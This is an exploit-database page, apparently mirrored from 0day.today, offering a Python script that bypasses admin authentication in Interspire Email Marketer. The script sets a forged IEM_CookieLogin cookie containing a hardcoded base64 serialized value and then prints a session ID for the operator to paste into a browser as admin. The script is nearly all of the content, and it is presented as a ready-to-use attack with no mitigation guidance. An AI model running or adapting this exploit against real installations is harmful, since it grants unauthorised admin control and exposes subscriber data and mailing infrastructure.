Lucene search
K

Interspire Email Marketer - Remote Admin Authentication Bypass Exploit

🗓️ 22 Apr 2018 00:00:00Reported by devcoinType 
zdt
 zdt
🔗 0day.today👁 180 Views

Interspire Email Marketer admin authentication bypass vulnerabilit

Related
Code
import requests
import sys


def cookie_cutter(url):
    with requests.Session() as s:
       s.get(url)
       r = s.get(url)
       response_regex = r.text
       print("requesting initial Cookie\n")
       print(str(r.headers)+"\n")
       
       for key,value in s.cookies.items():
           if "IEMSESSIONID" in key:
              print "Key:"+key +",Value:" + value
              print "-" * 25
              print "forging Admin cookie"+"\n"
              print "-" * 25
              
              s.cookies.set('IEM_CookieLogin', "YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D")
       for key,value in s.cookies.items():
            print "Key:"+key +",Value:" + value
            print "-" * 25
            if "IEMSESSIONID" in key:
                session_rider = value
       print "Making 2nd request with Forged Cookie\n"
       print "-" * 25
       r = s.get(url)
       response_regex2 = r.text

       if response_regex != response_regex2:
          print "Response Headers"+"\n"
          print "-" * 25
          print(str(r.headers)+"\n")
          print "-" * 25
          print "Response Status Code"+"\n"
          print str(r.status_code)+"\n"
          print "-" * 25
          print response_regex2+"\n"
          print "-" * 25
    return session_rider      


def main():
    url = sys.argv[1]
    print url
    session_rider_value = cookie_cutter(url)
    print "Magic Cookie Generated Modify Existing IEMSESSIONID Value In browser With Below Value "
    print "-" * 25
    print session_rider_value +"\n"
    print "-" * 25

main()


#  0day.today [2018-04-23]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation